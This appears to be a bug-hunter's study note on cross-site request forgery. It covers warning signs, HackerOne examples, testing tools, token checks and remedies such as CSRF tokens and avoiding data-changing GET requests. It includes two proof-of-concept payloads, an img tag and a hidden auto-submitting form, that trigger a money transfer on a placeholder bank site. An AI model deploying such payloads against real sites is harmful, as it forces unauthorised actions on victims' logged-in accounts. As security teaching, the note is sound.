CSRF - Cross Site Request Forgery

Hints for Vulnerability

  • insecure cookie settings; see [[Cookies]]
  • Cookie doesn't get deleted on logout or when leaving the page
  • No CSRF Token/ CSRF Token with lax security, see [[CSRF - Cross Site Request Forgery#Tokens]]
  • Data gets altered with GET requests
  • Occasionally, developers forget that hackers can discover and exploit API endpoints, because they aren’t readily available like web pages.
  • parameter was being returned in different locations, particularly in JSON responses
  • keep an eye out for any GET HTTP calls that change server-side user data

Real World Examples

  • Shopify Twitter Disconnect: https://hackerone.com/reports/111216
  • Change Users Instacart Zones: https://hackerone.com/reports/157993/ <- Bad customer management
  • Badoo Full Account Takeover: https://hackerone.com/reports/127703/ <- Good customer management, even doubled his bounty :D

Tools

  • https://github.com/akrikos/CSRF-Testing-Tools
  • burp collaborator/ burp csrf PoC tool
  • Bolt

Attack

Login/Logout CSRF

Logs out the victim and logs into the attackers account

With CSRF Tokens/ [[CORS]]

Tokens

Try

  • removing the token
  • changing its value
  • and so on

to confirm the token has been properly implemented

CORS

[[CORS#Vulns]]

GET Requests

Preconditions

  • User is logged in, Cookie is still valid

Exploit

<!-- on attacker website -->
<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">

Notes

Many common web frameworks used to build websites, such as Ruby on Rails, Django, and so on, will expect developers to use POST to change data, and so they’ll automatically add CSRF protections to POST requests but not GET requests

POST Requests

Preconditions

  • User is logged in, Cookie is still valid

Exploit

<!-- on attacker website -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://bank.com/transfer' target="csrf-frame" id="csrf-form">
    <input type='hidden' name='from' value='Bob'>
    <input type='hidden' name='to' value='Joe'>
    <input type='hidden' name='amount' value='500'>
    <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

The <iframe> is used to hide the response from the victim. Can be left out for a PoC.

Remedies

CSRF Tokens

  • long, unguessable parts (one for client, one for server); random
  • token gets validated on backend
  • some potential examples of names include X-CSRF-TOKEN, lia-token, rt, or form-id. Tokens can be included in HTTP request headers, in an HTTP POST body, or as a hidden field

CORS

See [[CORS]]

GET

  • Never use GET to perform any backend data-modifying requests (eg. transfer money, post article, like image, etc...)

    Other

  • Check value of Origin and Referer headers

    Scenarios

Auth/Cookie

After finishing his banking, Bob doesn’t log out when he leaves the banking website.

When Bob checks his email and clicks the link to visit the unknown site, he is inadvertently visiting a malicious website. That website is designed to perform a CSRF attack by instructing Bob’s browser to make a request to his banking website. This request will also send cookies from his browser.